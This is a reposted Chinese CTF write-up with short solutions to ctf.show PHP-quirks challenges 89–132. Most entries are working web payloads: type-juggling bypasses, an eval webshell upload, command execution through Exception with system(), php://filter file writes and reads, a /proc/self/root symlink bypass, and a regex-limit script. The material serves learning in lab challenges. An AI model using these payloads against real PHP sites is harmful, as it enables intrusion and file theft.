ctf_show-php特性-89-132
作者:互联网
89
get传参,满足两个条件,不能出现0-9,但是要满足是整数
这里传入 ?num[]=a 即可,对于第一个过滤,preg_match()函数无法处理数组。对于第二个过滤,intval()** 不能用于 object,否则会产生 **`E_NOTICE`** 错误并返回 1。
90
?num=+4476 ,由于是强等于,绕过方法很多,加正号,八进制 16进制都可以
91
m会匹配多行,因此传入%0a换行符即可
?cmd=%0aphp
92
输入4476e1,即可开始会当作字符串,但是intval会理解为多次方
93
?num=4476.1 进制转换和小数点都可以
95
?num=4476.0 前后都是强等于,但是注意不能0开头,过滤了8进制,16进制。因此还可以用小数点,注意强等于,要用4476.0
96
?num=+010574,开头不能为0,但是可以加个+,再用8进制绕过
97
a[]=1&b[]=2,md5不能处理数组
98
关键是这一句话:$_GET?$_GET=&$_POST:'flag'; 意思是如果有get传值,就让post传值覆盖它,因此get随便传入一个即可,post传入HTTP_FLAG=flag
?a=1 post:HTTP_FLAG=flag
99
注意到in_array是弱类型比较,因此其中存在1,我们传入n=1.php也是会返回true,由于每次传入都有可能传入1,因此1.php概率很大
?n=1.php post:content=<?php @eval($_POST[1]);?>
100
?v1=1&v2=print&v3=;print_r($ctfshow); 这里说一下前面检测数字的绕过: and和or的优先级是低于=的
101
过滤了一大堆特殊符号,这里是一个考点,反射类 ?v1=1&v2=echo new Reflectionclass&v3=;
即echo new Reflectionclas('$ctfshow'),注意flag少一位,要自己爆破一下
102
这里要求v2是数字,v3是写入的文件名,比如叫1.php。但问题是要写入语句又要满足是数字。这里有call_user_func可以自己自订函数,这里用hex2bin函数,将十六进制串转为字符串
在php5是 is_ numeric可以分辨待遇字母的十六进制串,但是在php7却不能这么做,返回是flase
因此我们要寻找一种只有数字的16进制串,但是注意由于php代码有 <?>之类的符号,肯定会含有字母,因此可以先将php代码base64再hex,争取不含数字
最后找到这个串5044383959474e6864434171594473(含有e,但是e会被当作次方,不影响),最后要注意串从第二个开始,因此前面要再加上两个字符:115044383959474e6864434171594473
?v2=115044383959474e6864434171594473&v3=php://filter/write=convert.base64-decode/resource=1.php post:hex2bin
103
同102
104
传入两个数组即可,sha1也不能处理数组
105
简单的参数传递 ?temp=flag post:error=temp
106
?v2[]=2 post: v1[]=1 同上一题
107
看parse_str这个函数:
$a='q=123&p=456'; parse_str($a,$b); echo $b['q']; //输出123 echo $b['p']; //输出456
因此post:v1=flag=c4ca4238a0b923820dcc509a6f75849b get=?v3=1
108
?c=a%00778,这里注意ereg存在%00截断
109
通过异常处理类 Exception(system(‘cmd’)) 可以运行指定代码,并且能返回运行的结果(如果存在返回)
?v1=exception&v2=system('cat%20fl36dg.txt')
110
上面一题的异常类也没法用了,这里用的是文件读取类
?v1=FilesystemIterator&v2=getcwd,getcwd返回当前路径(但是这个只能返回第一个值)
111
?v1=ctfshow&v2=GLOBALS 这是输出全局变量即可
112
伪协议不用编码即可:?file=php://filter/resource=flag.php
113
这里可以用其他的协议:file=compress.zlib://flag.php,
还有个预期解:
/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/var/www/html/flag.php
原理是:超过20次软连接后就可以绕过is_file
114
没过滤filter,file=php://filter/resource=flag.php
115
注想办法绕过trim即可,这里tirm是删除两边一些符号,经过测试发现%0c没删除,?num=%0c36
123
php变量名不允许使用点号,会变成下划线,但如果出现了[,那么这个[转变为下划线后,后面的点并不会转化.
POC:CTF_SHOW=&CTF[SHOW.COM=&fun=echo $flag
(不知道变量名:echo implode(get_defined_vars()))
125
方法一:poc:post: CTF_SHOW=1&CTF[SHOW.COM=2&fun=extract($_POST)&fl0g=flag_give_me&a=1
extract是将参数里的变量传入到当前里的符号表里,那么满足fl0g,能够输出flag
方法二:parse_str是字符串解析为变量,为指定解析到哪,会解析到当前符号表。
注意$a=$_SERVER['argv'];,这个变量会解析get传入的参数,如果是&分隔,它会认为是一个变量
而用+号分割
还有一个比较基础的:
get:?1=flag.php post:CTF_SHOW=1&CTF[SHOW.COM=1&fun=highlight_file($_GET[1])
126
方法同125的方法一
127
首先注意$_SERVER["QUERY_STRING"],这个变量是获取后面的参数
http://www.xxx.com/index.php?p=222&q=u $_SERVER["QUERY_STRING"]==>“p=222&q=u”; $_SERVER["REQUEST_URI"] ==>"/?p=222&q=u"; $_SERVER["SCRIPT_NAME"] ==>"/index.php"; $_SERVER["PHP_SELF"] ==>"/index.php";
?ctf show=ilove36d,这里的空格会自动解析为_
128
poc: ?f1=_&f2=get_defined_vars , get_defined_vars前面已经说过了是输出所有变量,而f1过滤了数字和大小写字母,这里利用_.
_()是gettext()的拓展函数 在开启相关设定后,_("666")等价于gettext("666"),且就返回其中的参数
129
伪协议加上ctfshow即可,?f=php://filter/ctfshow/resource=flag.php
130
直接f=ctfshow 即可
131
技巧:在php中正则表达式进行匹配有一定的限制,超过限制直接返回false
post输入大量36dctfshow即可
import requests url = "http://350eb7d4-454d-4c6d-a846-507f8dceffc0.challenge.ctf.show/" data = {"f": "test"*250000+"36Dctfshow",} r = requests.post(url=url, data=data) print(r.text)
132
访问/admin
payload:?username=admin&password=1&code=admin,简单的逻辑符号分析
标签:show,root,self,flag,132,ctf,post,php,proc 来源: https://www.cnblogs.com/aninock/p/15421870.html